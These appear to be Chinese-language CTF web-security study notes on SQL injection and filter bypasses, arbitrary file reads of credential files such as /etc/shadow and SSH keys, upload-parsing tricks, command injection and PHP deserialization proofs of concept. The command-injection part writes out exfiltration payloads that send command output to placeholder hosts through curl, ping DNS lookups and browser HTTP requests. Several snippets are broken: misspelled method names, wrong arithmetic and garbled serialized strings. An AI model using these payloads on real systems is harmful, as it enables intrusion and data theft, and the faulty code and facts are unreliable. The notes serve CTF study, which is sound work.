网络安全笔记

网络安全笔记

Linux基础

cd ../.. 							返回上两级目录
cd . 								返回个人主目录
cd ~user1
pwd 								显示工作路径
ls -F 								查看目录中的文件
   -l 								显示文件目录的详细信息
   -a 								显示隐藏文件
ls /bin 							显示bin目录下的问价
tree 								显示由根目录开始的树形结构
lstree
mkdir -p /tmp/dir1/dir2 			创建一个目录树
rm -f file1 						删除一个文件
rm -rf dir1 						递归删除dir1下的所有文件
rmdir dir1 							删除目录
mv dir1 new_dir 					重命名目录
mv /usr/tmp/tool /opt 				将文件剪切到另一个目录
mv -r /usr/tmp/tool /opt 			递归剪切
cp file1 file2 						复制文件
cp dir/* 							复制目录下所有文件到当前工作目录
cp -a /tmp/dir1 					复制目录到当前目录
cp dir1 dir2  						复制目录及子目录
find /usr/bin -type f -mtime -10 	搜索十天内被创建或被修改的文件
find /bin -name 'a*' 				搜索文件名为a开头的所有文件

tcpdump的使用
tcpdump -w result.cap 				抓取所有的网络包并存入到result.cap文件内
tcpdump -i eth0 -w result.cap 		抓取所有通过eht0万卡的网络包并存入result.cap文件中
tcpdump src 192.168.1.100 -w result.cap 抓取源地址为192.68.1.100的网络包并存入result.cap文件中
tcpdump tcp port 80 -n -s 0 -w result.cap 抓取80端口的流量并存入result.cap文件中

其他命令
whereis file 						查看有关文件
which bash 							查看命令的绝对路径
w
who 								查看登陆情况
df -h 								查看磁盘占用情况
top 								查看cpu占用情况,内存占用情况
sevice --status -all 				查看所有服务的运行状态
ps -axu 							查看系统进程
kill 9 [pid] 						强制杀掉进程
cat /proc/version 					查看系统内核
uname -a 							显示重要的系统信息

文件搜集

信息收集大部分都是工具的使用

git泄露涉及git命令的应用

1.敏感目录泄露

通过敏感目录泄露可以获得网站的源代码,敏感URL,网络后台地址

git泄露

git是一个主流的分布式版本系统,开发过程中常被开发人员遗忘.git文件夹,导致攻击者通过.git文件夹中的信息获取源码,进而导致服务器被攻击

SVN泄露

subversion源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件保留库在外网环境,可以利用.svn/entires或wc.db文件获取服务器源码等信息

HG泄露

在使用HG作为管理工具时,会在当前文件夹下创建.hg的隐藏文件夹,其中包含代码,分支修改记录等信息

如果访问.git出现了403错误,那么可以访问.git/config
如果有内容返回,说明git泄露

SVN中一般在entires发去源代码,但有时entires为空
那么就需要查看wc.db是否存在
可通过checksum在pristine文件夹中获取源代码

2.敏感备份文件

通过一些敏感的备份文件,可以获得一些文件的源码,或者网站的整体目录

gedit备份文件

在linux下,用gedit编辑器保存后,当前目录下会生成一个后缀名为‘~’的文件,该文件内是刚才编辑过的内容,加入刚才保存的文件名为flag,则改文件名为flag~,通过浏览器访问这个带有‘~’的文件,可以获得源代码

Vim备份文件

vim是运用最多的linux编辑器,在用户编辑文件以为退出时(如通过SSH链接到服务器时,在用vim编辑文件的过程中可能遇到因为网速不够的导致的命令行卡死而意外退出的情况),会在当前目录下生成一个备份文件,该文件用来备份缓冲区中的内容,即退出时的文件内容针对SWP备份文件,可以使用vim -r 命令恢复文件的内容

常规文件

常规文件所依靠的是字典的饱和性,不论是CTF还是现实世界中,我们都会碰到一些经典的有辨识的文件,从而让我们更好的了解网站

以下是一些简单的例子

robots.txt 记录一些目录和CMS版本信息 机器协议,也是爬虫的许可信息
readme.md 记录CMS版本信息,有的甚至有GItHub地址
www.zip/rar/tar.gz 网站的源代码备份

在CTF线上比赛中,以备份文件为题目,出题人会在线运维题目,会因为各种情况导致SWP备份文件的生成,所以在比赛过程中可以编写实时监控版本,对题目服务进行监控,vim在第一次意外退出是生成的备份文件为*.swp,第二次以为退出时的为*.swo,第三次退出时的为*.swn,以此类推 vim的官方手册中还有*.un文件名.swp类型的备份文件,在实际的环境中,网站的备份往往可能是网站域名的缩写

3.Banner识别

在CTF比赛中,一个网站的Banner信息(服务器对外显示的一些基础信息),对解题有重要作用,可以通过Banner信息来获得解题思路,得知网站使用ThinkPHP的Web框架编写时,我们可以尝试ThinkPHP框架的相关历史漏洞得知这个网站是Windows服务器测试上传漏洞是可以根据Windows的特性进行尝试

自行搜集指纹库

Github有大量成型且公开的CMS指纹库,读者可以自行查找,同时可以借鉴一些成型的扫描器对网站进行识别

使用已有工具

Wappalyzer插件是一项功能强大,简单易操作的网站技术分析检测工具,能对所访问的网站上使用的技术一目了然,能够分析指定网站所采用的平台架构,统计工具,服务器配置,web框架,编程语言等参数

在进行服务器的Banner信息探测时,除了通过上述两种常见的识别方式,还可以尝试随意输入一些URl,可以通过404页面和302跳转页面发现一些信息像开启了debug选项的ThinkPHP网站会在一些错误页面显示ThinkPHP的版本

SQL注入

SQL注入使开发者对用户输入的参数过滤不严格,导致用户输入的数据影响预设查询功能的一种技术,通常导致数据库原有信息泄露,篡改,甚至删除

注入点类型分类

整形注入

当输入的参数id为整形时,Sql语句类型大致如下

select * from <表名> where id = 1

这种类型可以使用经典的and 1=1和and 1=2来判断

字符型注入

当输入的参数1为字符时,通常Sql语句类型大致如下

select * from <表名> where id =1

其余数字类型注入的区别在于
注入时需要使用单引号来闭合

获取信息方式分类

盲注

基于布尔值

如在MySQL中判断数据名长度的输入为1‘ and length(database()) = 10 #
根据返回页面的不同来判断是否数据库名长度是否为10

基于时间

基于事件的SQL盲注方式通常是在SQL语句中添加延时函数,依据响应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep,waitfor函数等

报错注入

在测试过程中通过页面错误回显来进行注入

堆叠注入

同时执行多条语句

用户输入http://www.xxxx.com/1.asp?id=1;DELTE FROM products服务器段生成的sql语句为

select * from products where id=1; delete from products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

联合查询注入

使用union操作码合并两条或多条SQL语句
用户输入http://www.xxx.com/1.asp?id=1'union select 1,2,3 -- products服务端生成的sql语句为

select * from products where id=1 union select 1,2,3

这里需要注意的是union后面的列名合个数要和products里面的列名个数对应上,可以看到联合注入和堆叠注入都是执行多条语句,但是有区别,union或者union all 执行的语句类型是有限的,可以用来执行查询语句,但是堆叠注入可以执行任意SQL语句

提交方式分类

post
get

SQL注入

SQL注入与防御

常用防御手段和绕过注入的若干方法,重点提供绕过的思路

1.只过滤空格

除了空格,还有可以代替的空白符,例如%0a,%0b,%0c,%0d,%09,%a0和/**/组合,括号等

2.将select替换成空

遇到替换成空的情况,可使用嵌套的方式 seselectlect,经过过滤后又变回了select

3.大小写匹配

如果是过滤大小写,可以将select进行大小写的转换,MySQL中关键字是不区分大小写的

4.正则匹配

正则匹配关键字\bselect\b可以用形如、*! 50000select*/的方式绕过

5.替换了单引号,双引号,忘记了反斜杠

通过\' \" 这种转义的方式来重新引入单引号或双引号来对注入语句进行闭合

引号的逃逸

注入的重点在于逃逸引号,而开发者常会将用户的输入全局的做一次addslashes,也就是转义,单引号,反斜杠等字符,如‘ 变为 \ 这种情况下,看似不存在SQL注入,但是在某些条件下仍能突破

1.编码解码

2.意料之外的输入点

开发者常用urldecode,base64_decode的解码函数或自定义的加解密函数,当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密解密,字符集转换的情况,宽字节注入就是由字符集转换而发生注入的

3.二次注入

二次注入的根源在于,开发者信任数据库中取出的数据是无害的

4.字符串截断

在标题,抬头等位置,开发者可能限定标题日的字符不能超过十个字符,超过则会被截断,假设攻击者输入aaaaaaa’,自动转义成 aaaaaaa\‘,由于字符长度限制,被截取为aaaaaa\,正好转义了预置的单引号

SQL注入的危害

1.写webshell

在有写文件权限的情况下,直接使用

into outfile  或者  dumpfile

向web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果

2.读文件

在有读文件权限下的情况下,用

load_file() 函数

如去网站源码和配置信息,获取敏感数据

3.提权

提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等,从而拥有更多的网站功能

4.恶意添加

通过诸如控制数据库查询出来的数据,控制像模板,缓存等文件的内容来获取权限,或者删除,读取某些关键文件

5.控制数据库

在可以执行多语句得情况下,控制整个数据库,包括控制任意数据,任意字符长度等

6.获取主机权限

在SQL.Server这类数据库中可以直接执行系统命令

实际比赛中会将很多的特性,函数进行结合,MySQL诸如类的题目采用的过滤方法也是多种多样,SQL服务器在实现时的不同,即使是相同的功能,也有很多的实现方式会将过滤时不容易考虑到的知识点或注入技巧作为考点,关键是根据不同的SQL服务器类型,通过fuzz得出被过滤掉的字符,函数,关键字等,查找功能相同但不包含过滤特征的替代品,完成对相关防御的绕过

可以测试的平台有

sqli-labs

使用的工具有

sqlmap

任意文件读取

攻击者通过一些手段读取开发者不允许读取到的文件,在整个攻击过程经常用于信息收集,获取服务器配置文件,密钥,历史命令,网络信息和源码,在CTF中是解决一道题的思路入口,简单的则是直接读取Flag

漏洞常见触发点

WEB语言

1.PHP

文件读取函数

file_get_contents()
file()
fopen()
fread()
fgets()
文件包含函数
include()
require()
include_once()
require_once()

由于php文件之间调用密集频繁,需要将动态参数传入危险函数,php扩展也提供了一些可读取文件函数,但CTF中存在较少

Wrapper

php向用户提供的特定待打开文件不是简单的路径,而是一个文件流,php提供很多功能不同,但形式相似的协议

php://协议 统称为Wrapper

FIlter

除了Wrapper,php另外一个具有特色的机制是Filter,作用是对目前的Wrapper进行一定的处理

php://filter

Read			读取
Wirte			写入
Resourec		数据来源

Read参数

string.strip_tags					将数据流中的所有html标签清除
string.toupper						将数据流中的内容转换为大写
string.tolower						将数据流中的内容装换位小写
convert.base64-encode		将数据流中的内容转换为base64编码
conbert.base64-decode		与上面对应解码为典型的文件包含漏洞

在php.ini(php配置文件)中可以禁用Wrapper和Filter

xx=php://filter/read=convert.base64-enccode/resource=xxx.php

典型的伪协议读取php文件

任意文件读取实际情况

1.文件路径前面可控,后面不可控
2.文件路径后面可控,前面不可控
3.文件路径中间可控

对应手段

1.在较低的PHP版本及容器版本中可以使用\x00截断对应的URL编码是%00。服务端存在文件上传功能时,可以尝试利用Zip或Phar协议直接进行文件包含进而执行php代码
2.可以通过符号 ../进行目录穿越来直接读取文件,这种i情况下无法使用Wrapper`,如果服务端是利用include等文件包含类的函数,那么无法读取php文件中的代码
3.这种情况与第一种类似,但是无法利用Wrapper进行文件包含

2.Pyhton

Pyhton的web应用大多是通过自身模块启动服务搭配中间件和代理服务将web页面呈现,用户和web的交互过程包含服务器资源文件请求,容易出现非预期文件读取情况,Pyhton缺乏统一的资源文件交互的标准,导致Python框架有很多的文件读取漏洞

漏洞经常出现在框架请求静态资源部份,就是读取文件的open函数

直接导致漏洞的原因,大多是开发者忽略了Pyhton函数的特点
很多涉及文件操作的应用也可能因为滥用open函数,模块的不当渲染导致任意文件读取
攻击者制造软连接放入压缩包,解压后的内容会直接指向服务器的相关文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。

与PHP相同,Pyhton的一些模块可能存在XXE读文件的情况

3.Java

Java本身的文件读取函数FileInputStream,XXE导致的文件的读取
Java的一些模块支持file://协议,这是Java中出现任意文件读取最多的地方

中间件/服务器

1.Nginx错误配置

Nginx错误配置导致的文件读取漏洞在CTF中经常出现,经常搭配Python-Web应用一起出现,因为nginx一般被视为Python-Web反向代理的最佳实现,他的配置文件出现错误配置,很容易造成严重问题

location/static{
	alias/home/myapp/static/;
	}

如果配置文件包含这段内容,可能是运维或开发人员想染用户可以访问stactic目录(一般是静态资源目录),但,如果用户请求的Web路径是Static../,凭借到了alias上就变成了/home/myapp/static/../,这样就会产生目录穿越漏洞,直接进入myapp目录,攻击者可以任意下载Python源代码和字节码文件

漏洞的成因是location最后没有加/进行限制,Nginx匹配到路径Static后,把其他的内容拼接到alias,传入的是Static…/,Nginx并不认为这是跨目录,而是当作整个目录名,所以不会对他进行跨目录的相关处理

2.数据库

可以进行文件读取操作的数据库很多

MySQL的load_file()函数可已经i选哪个文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有),需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/.用户可读),Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关目录下),这么严格的利用条件,还是经常可以在CTF中遇到相关的文件读取题目

另一种方法是需要执行完整的SQL语句,load data infile

这种方式需要FILE权限,除了SSRF攻击MySQL这种特殊情形
很少有可以直接执行整条非基本SQL语句(除了select/update/insert)的机会

3.软连接

bash命令ln -s可以创建一个指向指定文件的软连接文件,然后将这个软连接文件上传至服务器,当我们再次请求这个链接文件时,实际上是请求在服务端指向它的文件

4.Docker-API

Docker-API可以控制Docker的行为,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信,遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信时,就可以通过操纵Docker-API把本地文件载入Docker进行读取(利用Docker的ADD,COPY操作),形成一种另类的任意文件读取

客户端

1.浏览器/Flash XSS

很多的浏览器会禁用JavaScript代码读取本地文件的相关操作
请求一个远程网站,他的JavaScript代码中使用了FIle协议的去客户的本地文件,会由于同源策略导致读取失败,也存在可以绕过的方式

2.Markdown语法解析器XSS

与XSS相似,Markdown解析器也具有一定的解析JavaScript的能力,但大多没有像浏览器一样对本地文件读取的操作进行限制,很少有与同源策略类似的防护措施

常见读取路径

Linux

Flag名称
又是暴力破解flag名称就能获得答案

注意文件名和后缀名

../../../../../../../../../flag(.txt|.php|.pyc|py)
Flag(txtl.phpl.pycl.py )
[xxxx]/flag(.txt|.php|.pyc|py)
../../../../../../../../etc/flag(.txt|.php|.pyc|py)
../flag(.txt|.php|.pyc|py)
../../../../../../../../root/flag(.txt|.php|.pyc|py)
../../../../../../../../home/[xxxx]/flag(.txt|.php|.pyc|py)
../../../../../../../../home/flag(.txt|.php|.pyc|py)

服务器信息(绝对路径)

常见的部分须知目录和文件

/etc
/etc/passwd
/etc/shandow
/etc/apache2/*/etc/apache2/*
/etc/nginx/*/etc/nginx/*
/etc/apparmor(.d)/*/etc/apparmor(.d)/*
/etc/(cron.d/*|crontab)/etc/(cron.d/*|crontab)
/etc/environment
/etc/hostname
/etc/host
/etc/issue
/etc/mysql/*
/etc/php/*
/proc
/usr.loacl/nginx/conf/*
/var/www/html
/var/lib/php(5)/session/
~/.bash_history
~/.bashrc
~/.ssh/id_rsa(.pub)
~/.viminfo

Windows

Windows系统下的Web任意文件读取漏洞在CTF中不常见。
Windows与PHP搭配使用时存在一个问题
可以使用 < 等符号作为通配符,从而在不知道完整文件名的情况下进行文件读取

文件上传

文件上传点没有对上传文件进行严格的验证和过滤,造成任意文件上传,包括上传动态文件(asp,php,jsp)
如果上传的目标目录没有限制执行权限,导致上传执行,就会出现文件上传漏洞

存在上传漏洞的必要条件

-存在上传点
-可以上传动态文件
-上传目录有执行权限,并且上传的文件可执行
-可以访问到上传的动态文件

中间件解析漏洞 Apache

首先apache发现这个文件的扩展名是未知的,他会先看或站名之前是否有其他的可识别的扩展名,完整的文件名为 shell.php.xxx,那么Apache就会发现在位置扩展名之前有可识别的扩展名php,那么就会认为是一个php文件,并且按照php文件的解析方式进行解析

影响版本Apacche
漏洞版本2.2.x

中间件解析漏洞 IIS6.0

1.目录解析

*.asp命名的文件夹里的文件都会被当作ASP文件执行

2.文件解析

*.asp;.jpg这种畸形文件名在 ;后面的直接被忽略,也就是被当成*.asp文件执行

IIS6.0默认的可执行文件除了asp还包含这三种*.asa *.cer *.cdx

中间件解析漏洞 IIS7.0/7.5

构建路径*.php尝试解析
http://192.168.4.171/muma.jpg/.php

中间件解析漏洞 Nginx

1.网站的错配置导致nginx将 .php结尾的文件交给fastcgi处理,所以构造http://ip/up;oadfiles/test/png/.php
2.fastcgi在处理 .php文件时文件并不存在,php.ini配置文件中的cgi.fix_pathinfo=1发挥作用,这项配置用于恢复路径如果当前路径不存在则采用上层路径,所以交给fastcgi处理的文件就变成了/test.png
3.php.fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(指定什么类型的文件当作代码解析),此项设置为空的时候才允许fastchio将.png文件当作代码解析

JS前端绕过

前端JS校验,可以直接禁用JS,或者使用burp抓包修改文件类型

后缀名验证

基于文件后缀名验证方式的分类

1.基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功
2.基于黑名单验证:执政对黑名单中没有的后缀名,文件才能上传成功
禁止.jsp .php .asp .aspx
但是可以使用其他后缀名 .php1 .php2 .phtml .php5

后缀名验证 -htaccess/.user.ini

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置,通过htaccess文件,实现网页301重定向,自定义404错误页面改变文件扩展名允许/组织特定的用户或目录的访问,禁止目录列表,配置默认文档等功能
其中.htaccess内容:

SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,无论上传任何文件
只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错

.user.ini

auto_prepend_file=1.gif为内容的.user.ini文件,上传一个内容为php的一句话脚本,命名为1.gif

.user.ini文件里面的意思
所有的php文件都自动包含1.gif文件
.user.ini文件相当于一个用户自定义的php.ini

命令执行

开发者使用一些执行命令函数,为对用户输入的数据进行安全检查时,可以注入恶意命令

命令执行的用途

1.技巧性直接获取flag
2.进行反弹Shell,然后进入内网
3.利用出题人对权限的控制不严格,对题目环境拥有控制权,导致其他队伍选手无法解题,在时间上会有优势

在CTF中,命令执行发生在远程,也叫远程命令执行,RCE(Remote Command Exec),(RemoteCode Exec)

漏洞原理

为方便程序处理,会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做过滤时,通过注入恶意命令,会造成巨大危害

PHP-System

<?php
$m = $_GET['m']
system('echo'.$m)
>?

http://xxx.com/?m=xxx
输出
xxx

http://xxx.com/?m=xxx%26%26 whoami
输出
Xxx desktop-6g9xxx|\xxxx

命令注入是通过诸如一些特殊字符,改变原本的执行意愿,执行攻击者指定命令

基础

转义字符

系统中的cmd.exe,bash程序执行命令能够解析很多特殊字符,这样会使BAT批处理和bash脚本处理工作更加便捷,如果想去掉特殊字符的特殊意义,就需要进行转义,所以转义字符也是取消字符的特殊意义

Windows的转义字符是 ^ 
Linux的转义字符是 \ 

多条命令执行

在命令注入中通常需要注入多条命令扩大伤害
能够构成多条命令执行的字符串

Windows 下 && , ||%0a
Linux 下 && ,||;  ,$() , " , %0a , %0d

xxx||echo mmm
xxx程序并不存在所以报错,但是注入 || 字符,如果前面报错,后续的命令也会被执行,%0a %0d 是由于换行而可执行新的命令

 在Linux中需要注意,双引号包裹的字符串 "$()"  中的内容被当作命令执行
 但是单引号包裹的字符串就是纯字符串,不会进行任何解析

测试

在位置的命令注入时,最好通过各种Fuzz来确认命令注入点和黑名单规则

一般命令格式

程序1-程序参数1 参数值1 && 程序2-程序参数2 参数值2
以ping -nc 1 www,baidu.com为例构建Fuzz列表
程序名 ping
参数 -nc
参数值 1和www.baidu.com
程序名与参数值之间的字符串 空格
整个命令

参数值有时较为复杂,可能是部分可控,被单引号,双引号包裹,需要注意额外的引号来进行逃逸

构造Fuzz列表

&& curl www.dnslog.com &&
'curl www.dnslog.com'
;curl www.dnslog.com;

再通过将Fuzz列表插入命令点后,通过查看自己服务器的Web日志来观察是否存在漏洞

绕过技巧

1.缺少空格

<php
$cmd = str_replace(" ","",$_GET['cmd']);
echo "cmd:".$cmd.<br>";
echo system($cmd)

在代码审计中经常会禁止空格出现或者将空格过滤为空,但是命令中间隔的字符可以不只是空格(URL编码为 %20),还可以利用burpsuit对%00 ~ %ff区间的字符串进行测试,可以发现其他字符进行绕过,利用burp suit进行Fuzz

除了使用不可见字符暴力破解,还可以使用字符串截取的方式获取空格
C:\>echo%ProgramFiles:~10,1%111111

其中,~ 相当于截取符表示获取环境变量%ProgFiles%的值,一般为C:\Program FIles 所以,这个命令表示,从第十个开始获取一个字符串,就是空格

Linux中绕过空格的方式

$IFS$9

Bash有效,zsh,dash无效

{cmd,args}

读取文件时

cat<>flag

$IFS$9
Linux存在IFS(Internal Field Separator)环境变量,内部字段分隔符,定义了bash shell命令间隔字符一般为空格,使用IFS时需要使用间隔符来避免出现不存在的变量,通常是$9,$9表示但钱系统Shell进程的第九个参数是一个空字符串,也可以使用\${IFS}进行注入,或者在某些平台下通过修改IFS变量为逗号进行注入; IFS=, ;

2.黑名单关键字

CTF比赛中,会遇到黑名单关键字,例如对cat,flag等字段进行拦截,可以使用下面的方法进行绕过

–利用变量拼接

Linux: `a=c;b=at;c=he;d=llo;$a$b $(c)${d}`

其中,a变量为c,b变量为at,最终$a$b是cat,c变量为he,d变量为llo,最终$(c)${d}为hello,所以执行的命令为 cat hello

–使用通配符

Linux:cat /tm?/fl*
Windows:type fla*

–借用已有字符串

若是禁用<>?等字符串,则可以借用其他文件中的字符串,利用substr(0函数截取某个具体字符(NR=读取行)

3.执行无回显

CTF中经常会遇到执行命令的结果不在网页上现实的情况,可以通过以下方式获取执行结果

–HTTP通道

for /F %x in ('echo xxx') do start http://xxxx:8000/%x

通过for命令,将echo xxxx执行的结果保存在%x中,然后拼接到URl上,命令执行过后,默认浏览器会被系统调用打开并访问指定网站,最终在Web日志中查看结果
在Linux下,由于存在管道,所以特别方便数据的传输,通常利用curl,wget等程序进行外带数据,多条命令执行中的 ' 和 $()进行字符串拼接

–DNS通道

使用ping命令进行DNS外带数据,ping的参数在Windows和Linux下不同

限制ping的个数
Windows使用-n
Linux使用-c

为了兼容处理可以联合使用

ping -nc 1 test.example.com
Linux:ping -c 1 'whoami'.xxx.com

在Windows下相对复杂,主要利用delims命令进行分割处理,最终拼接到域名前缀上,再利用ping程序进行外带

for /F "delims=\tokens=2" $i in ('whoami') do ping -n 1 %i.xx.com

–时间盲注

网络不通,可以通过时间盲注,将数据跑出来,主要借用$$和||的惰性

 在Linux下可以使用sleep函数
 在Windows下可以使用一些耗时命令 `ping -n 5 127.0.0.1`

–写入文件,二次返回

网络隔离的情况,time型读数据将会极其缓慢,可以将执行命令结果写入到Web目录下,再次通过Web访问文件从从而达到回显目的

PHP黑魔法

1.弱等于与强等于

PHP中有两种比较方式一种是 == 另一种是 === 这两种都可以比较两个数字的大小,但有很明显的区别
== :会把两端变量类型转换成相同的,进行比较
===:会先判断两端变量类型是否相同,进行比较

在两个相等的符号中,一个字符串与一个数字比较时,字符串会转换为数值
当一个字符串当作一个数值来取值,结果和类型如下

如果该字符串没有包含
. , e , E
并且数值值在整形范围之内,该字符串被当作int取值
其他情况被作为float来取值
该字符串的开始部分决定了它的值
如果该字符串以合法的数值开始,则使用该数值,否则其值为0

当出现了xex模式的时候代表科学计数法,比如

1e3 = 1 * 10
在进行比较运算时,如果遇到了0e/d+
0e就是0e,d+的意思是后面全部都是数字
这种字符串就会将字符串解析为科学计数法
所以两个数值都是0,所以相等
如果不满足0e/d+这种模式就不会相等

1.0e开头的全部相等(==判断)

240610708和QNKCDZO

MD5值类型相似,但是并不相同,在 == 操作符的运算下,结果返回True
MD5和SHA1一样

2.利用数组绕过

MD5和SHA1对一个数组进行加密将返回NULL,而NULL===NULL,返回True,可绕过判断

2.Strcmp绕过

Strcmp利用数组绕过(比较两个字符串区分大小写)

int strcmp ( string $str1 , string $str2 )

返回值

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0

当输入的两个值为不是字符串时就会产生不预期的返回值:
比如

<?php
$password=$_GET['password'];
if(strcmp(‘xx',$password)){
echo 'false!';
}else{
echo 'success!';
}
?>

这样一段代码中,输入password[]=1则返回success,成功绕过验证。
原理是因为函数接受到了不符合的类型,将发生错误,函数返回值为0,所以判断相等。

3.array_search()、in_array()绕过

array_search() 函数在数组中搜索键值,返回对应的键名。in_array() 函数搜索数组中是否存在指定的值。基本功能相同,绕过姿势也相同。

Array系列有两种安全问题,一种是正常的数组绕过一种是类似“= =”号问题

1、函数接入到不符合的类型返回“0”这个特性
2、 in_array()函数如果𝑠𝑡𝑟𝑖𝑐𝑡参数没有提供或者是𝑓𝑎𝑙𝑠𝑒/𝑡𝑟𝑢𝑒会进行严格的过滤),那么𝑖𝑛_𝑎𝑟𝑟𝑎𝑦就会使用松散比较来判断strict=FALSE]),如果strict参数没有提供或者是false(true会进行严格的过滤),那么inarray就会使用松散比较判断needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同

bool in_array ( mixed 𝑛𝑒𝑒𝑑𝑙𝑒,𝑎𝑟𝑟𝑎𝑦needle,arrayhaystack [, bool 𝑠𝑡𝑟𝑖𝑐𝑡=𝐹𝐴𝐿𝑆𝐸])

4.Switch绕过

如果Switch是数字类型的case判断时,Switch会将其中的参数转换为int类型

5.布尔值

<?php
var_dump("name"==true);
var_dump(0==false);
var_dump("fasle"==true);
var_dump(1==true);
var_dump(-1==true);
$m = [0];
var_dump($m==true);
?>

前端返回的都是True

6.16进制转换

php在接受一个0x的字符串时,会自动把字符串解析成十进制的再进行比较,0x1e240解析成十进制就是123456,与字符串类型的123456和int型的123456相同。

<?php
var_dump("0x1e240"=="123456");	 //true
var_dump("0x1e240"==123456);	 //true
var_dump("0x1e240"=="1e240");	 //false
?>

php反序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程为反序列化,是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,通过反序列化可以获取之前的对象。很多语言都存在序列化函数,如Python、Java、PHP、.NET等
在CTF中,经常可以看到PHP反序列化的身影,原因在于PHP提供了丰富的魔术方法,加上自动加载类的使用,为构写EXP提供了便利。所以掌握好php的反序列化即可。

<?php
    class User{
        var $name = 'zhangsan';
        var $age = 18;
        function get_like(){
            echo 'eat';
        }
    }
    $user = new User;
    echo serialize($user);
?>

O:4:"User":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}

1.基本类型表达

布尔值(bool):b:value=>b:0。
整数型(int):i:value=>i:1。
字符串型(str):s:length:“value”;=>s:4:"aaaa"。
数组型(array):a:<length>:{key,value pairs};=>   a:1:{i:1;s:1:"a"}。
对象型(object):O:<class_name_length>:。
NULL型:N。

O:4:"User":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}
|
|
O表示这是一个对象,4表示对象名的长度, User是序列化的对象名称,2表示对象中存在2个属性。第1个属性s表示是字符串,4表示属性名的长度,后面说明属性名称为name,它的值为字符串长度为8内容是‘zhangsan’;第2个属性是age,它的值是为整数型18。

2.魔术方法

PHP中存在魔术方法,PHP自动调用,但是存在调用条件,比如,__destruct是对象被销毁的时候进行调用,通常PHP在程序块执行结束时进行垃圾回收,这将进行对象销毁,然后自动触发__destruct魔术方法,如果魔术方法还存在一些恶意代码,即可完成攻击。

当对象被创建时:__construct。
当对象被销毁时:__destruct。
当对象被当作一个字符串使用时:__toString。
序列化对象前调用(其返回需要是一个数组):__sleep。
反序列化恢复对象前调用:__wakeup。
当调用对象中不存在的方法时自动调用:__call。
从不可访问的属性读取数据:__get。
<?php
	class lemon{
		protected $ClassPbj;
		function __construct(){
			echo "_construct";
			$this->ClassObj = new normal();
		}
		function __destruct(){
			echo "__destruct";
			$this->ClassObj->action();
		}
	}
	class normal{
		function action(){
			echo "action";
		}
	}
	class evil{
		private $data;
		function action(){
			eval($this->data);
		}
	}
	unserialize($_GET['d']);
?>
<?php
	class lemon{
		protected $ClassObj;
		function __construt(){
			$this->ClassObj = new evil();
		}
	}
	class evil{
		private $data = "phpinfo()";
	}
	echo urlencode(serialize(new lemon()));
?>

3.Phar反序列化

Phar反序列化,是因为PHP使用phar_parse_metadata解析meta数据时,会调用php_var_unserialize进行反序列化操作
将需要反序列化的类通过Phar->setMetadata传入,然后生成phar内容。

在PHP中Phar是属于伪协议,伪协议的使用最多的是一些文件操作函数,如fopen()、copy()、file_exists()、filesize()等。如寻找内核中的*_php_stream_open_wrapper_ex函数PHP封装调用此类函数,会让更多函数支持封装协议,如getimagesize、get_meta_tags、imagecreatefromgif等。再通过传入phar:///var/www/html/1.phar便可触发反序列化

例如,
通过file_exists("phar://./demo.phar")
触发phar反序列化
<?php
class demo{
	public $t = "Test";
	function __destruct(){
		echo $this->t . "Win.";
	}
}
$obj = new demo;
$obj->t = 'You'
$p = new Phar(',/demo.phar',0);
$p->startBuffering();
$p->setMetadata($obj);
$p->setStub('GIF89a'.'<?php __HALT_COMPOLER();');
$p->addFromString('test.txt','test');
$p->stopBuffering();

file_exits ("phar://.deom.phar")

4.小技巧

__wakeup失效:CVE-2016-7124

由于__wakeup失效,绕过其中可能存在的限制,触发可能存在的漏洞,影响版本PHP 5至5.6.25、PHP 7至7.0.10。
原因:当属性个数不正确时,process_nested_data函数返回为0,后面的call_user_function_ex函数不会执行,在PHP中就不会调用__wakeup()。

class demo{
	private $a = array();
	function __destruct(){
		echo "i am destruct...";
	}
	function __wakeup(){
		echo "i am wakeup...";
	}
}
unserialize($_GET['data']);

0:4:"demo":2:[s:5:"demoa";a:0:[}}
bypass反序列化正则

当执行反序列化时,使用正则“/[oc]:\d+:/i”进行拦截

反序列化支持“+”来表达数字

O+4"demo"1{s:5"demoa";a:0{}}
反序列化字符逃逸

PHP在序列化数据的过程中,如果序列化的是字符串,就会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且PHP底层实现上是以“;”作为分隔,以“}”作为结尾。php反序列化时会忽略后面的非法部分

Session反序列化

PHP默认存在一些Session处理器:php、php_binary、php_serialize和wddx(需要扩展支持,较为少见)。处理器都是经过序列化保存值,调用的时候会反序列化。

php处理器(php默认处理)
ls3m0n|s:1:"a"
php_serialize处理器
a:1:[s:5:"lsm0n";s:1:"a";}
php_serialize情况存放SESSION:
a:1:{s:20:"IO:8:"stdClass":0:{}";s:1:"a";}

php情况下读取SESSION:
a:2:{s:20:"|O:8:"stdClass":0:{}";s:1:"a";}

